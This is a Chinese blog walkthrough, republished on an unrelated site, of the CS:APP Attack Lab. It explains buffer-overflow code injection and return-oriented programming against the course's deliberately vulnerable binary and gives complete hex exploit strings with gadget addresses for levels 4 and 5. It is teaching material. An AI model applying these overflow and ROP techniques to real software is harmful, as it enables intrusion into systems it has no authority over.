csapp attack lab

您所在的位置:网站首页 帝少宠妻成瘾免费阅读全文下载 csapp attack lab

csapp attack lab

2024-07-16 10:43:15| 来源: 网络整理| 查看: 265

一.level 1

level 1 的要求是在 test 的函数中有 getbuf 的调用,当 getbuf 执行完成后没有返回到 test 中,反而去执行了 touch1 函数。分析一下可以发现,test 函数的返回地址存在了 test 函数的栈里,只要我们把栈里 test 函数的地址替换成 touch1 函数的地址就可以。

由上图可知我们先找一下 BUFFER_SIZE,这样可以用超出 BUFFER_SIZE 的部分插入touch1 的返回地址。

gdb 单步调试进入,并在 test 出打一个断点。

看一下栈帧的信息

我们继续单步调试,一直进入到Gets函数中,这时发现Gets读入的数据放在0x5561dc78处

查看0x5561dc78处的信息,其中0x00401976是test函数的地址

回到上一级的函数getbuf()中,可以看到rsp指向0x5561dc78,所以我们把0x00401976的值改成touch1的地址就可以了

40个字节加上touch1的地址,完美

二.level2

level2 要做的事情是把返回test的地址换成touch2的地址,并且还要传入参数cookie,我们先来跳到touch2的地址处,发现没有通过因为没有传入cookie

我们知道寄存器rdi中存放着函数的第一个参数,所以我们把rdi设置成我们的cookie,所以有如下所示的汇编代码

$0x59b997fa是我的cookie

编译此汇编代码,然后再反汇编,得到机器码

然后写如下指令,rsp最开始在第七行,此时应该执行ret指令,所以指令寄存器rip指向0x5561dc78(也就是栈顶之外的地方)执行代码,rsp指向第8行的地址。然后再来一个ret,rip指向第八行的0x004017ec(touch2函数的地址),于是rip指向touch2,rsp+8,至此我们调用了touch2并且传入了cookie参数。

运行结果如下,我们惊奇的发现出现了段错误,所以level2并没有想象中的那么简单。

我们来看touch2的汇编源码,其中前几行时比较cookie是否相等,如果不等就跳到56行然后fail。根据我对栈信息的打印可以看出我的cookie是相等的。我进入了validate函数,validate函数返回后就能跳到86行然后成功退出。所以据此分析,是validate函数使最后结果出错。

查看validate函数的汇编。

我们首先要改变的时is_checker 的值,如果is_checker为0,那程序就会一路跳到151行然后就会失败。

其次我们就来来到了40行,然后需要改变的时check_level,否则也会失败。

然后我们来到了82行,看几个关键的参数发现只要到了82行就算成功了

修改汇编代码及指令如下

最后我们成功通过了测试!!!

三. level 3

首先来看hexmatch 和 touch3 的地址

仔细研究了一会儿发现并无好的方法,遂决定翻译hexmatch的汇编代码,这里有一个金丝雀数,在rsp+0x78,所以我们在栈上存储的时候要避开它,下面的就是hexmatch的汇编翻译代码

(rdi = val,rsi = sval) rsp -= 0x80 // 128 r12d = edi = val rbp = rsi = sval rax = %fs:0x28 (rsp+0x78) = rax rax = 0x0 rax = random() rcx = rax rdx = 0xa3d70a3d70a3d70b imul rdx // rdx存储乘法的高64位,rax存储低64位 rdx += rcx rdx >>= 6 rax = rcx rax >>= 0x3f // 63 rdx -= rax rax = 5*rdx rax = 5*rax rax test函数的栈,我们把数据放在0x5561dca8

我们在test的栈顶放string的数据,在0x5561dcb8放指令

把string的地址放到第一个参数处,然后跳转到touch3四.level4

首先看两个指令:

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 /* 补齐至40 */ ab 19 40 00 00 00 00 00 /* popq rax 0x4019ab 0x4019a7 + 4 */ fa 97 b9 59 00 00 00 00 /* cookie 的值 */ a2 19 40 00 00 00 00 00 /* 0x4019a2 movq %rax, %rdi 0x4019a0 + 2 */ ec 17 40 00 00 00 00 00 /* touch2 4017ec */

解释一下上面的执行流程:首先跳转到0x4019ab执行指令,指令把cookie放入了rax中,然后到0x4019a2执行指令,指令把rax中的cookie放入到rdi中,然后跳转到touch2成功

五.level5

花了一下午的时间,这个lab还是很有难度滴!

思路与lab4一致,把 rtarget 反汇编然后把farm的工具汇编代码提取走,放在一个单独的文件中方便查询

就像这样子,可以快速的查询

然后这题与level3类似,可是栈的地址是变化的,那么我们可以先通过mov指令把栈的地址传给一个寄存器,然后再加上他的偏移量,最终得到string的地址。

没有加法的对应机器码,那我们用lea代替加法

可以看到上图中,使用了两个寄存器 %rdi 和 %rsi ,所以我们一个寄存器放栈的地址,一个放偏移量,通过不断的尝试(排列组合),最终得到如下的答案

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 // 补齐40 06 1a 40 00 00 00 00 00 // mov esp, eax a2 19 40 00 00 00 00 00 // mov eax, edi cc 19 40 00 00 00 00 00 // pop rax 48 00 00 00 00 00 00 00 // 偏移量 dd 19 40 00 00 00 00 00 // mov eax, edx 70 1a 40 00 00 00 00 00 // mov edx, ecx 13 1a 40 00 00 00 00 00 // mov ecx, esi d6 19 40 00 00 00 00 00 // lea (rdi,rsi,1) ,rax a2 19 40 00 00 00 00 00 // mov rax, rdi fa 18 40 00 00 00 00 00 // touch3 的地址 35 39 62 39 39 37 66 61 // string 00 00 00 00 00 00 00 00

最后成功!

可以的,这个lab做了好久,中间各种事拖沓,拖延症的我终于搞完了这个lab,值得祝贺!



【本文地址】

公司简介

联系我们

今日新闻


点击排行

实验室常用的仪器、试剂和
说到实验室常用到的东西,主要就分为仪器、试剂和耗
不用再找了,全球10大实验
01、赛默飞世尔科技(热电)Thermo Fisher Scientif
三代水柜的量产巅峰T-72坦
作者:寞寒最近,西边闹腾挺大,本来小寞以为忙完这
通风柜跟实验室通风系统有
说到通风柜跟实验室通风,不少人都纠结二者到底是不
集消毒杀菌、烘干收纳为一
厨房是家里细菌较多的地方,潮湿的环境、没有完全密
实验室设备之全钢实验台如
全钢实验台是实验室家具中较为重要的家具之一,很多

推荐新闻


图片新闻

实验室药品柜的特性有哪些
实验室药品柜是实验室家具的重要组成部分之一,主要
小学科学实验中有哪些教学
计算机 计算器 一般 打孔器 打气筒 仪器车 显微镜
实验室各种仪器原理动图讲
1.紫外分光光谱UV分析原理:吸收紫外光能量,引起分
高中化学常见仪器及实验装
1、可加热仪器:2、计量仪器:(1)仪器A的名称:量
微生物操作主要设备和器具
今天盘点一下微生物操作主要设备和器具,别嫌我啰嗦
浅谈通风柜使用基本常识
 众所周知,通风柜功能中最主要的就是排气功能。在

专题文章

    CopyRight 2018-2019 实验室设备网 版权所有 win10的实时保护怎么永久关闭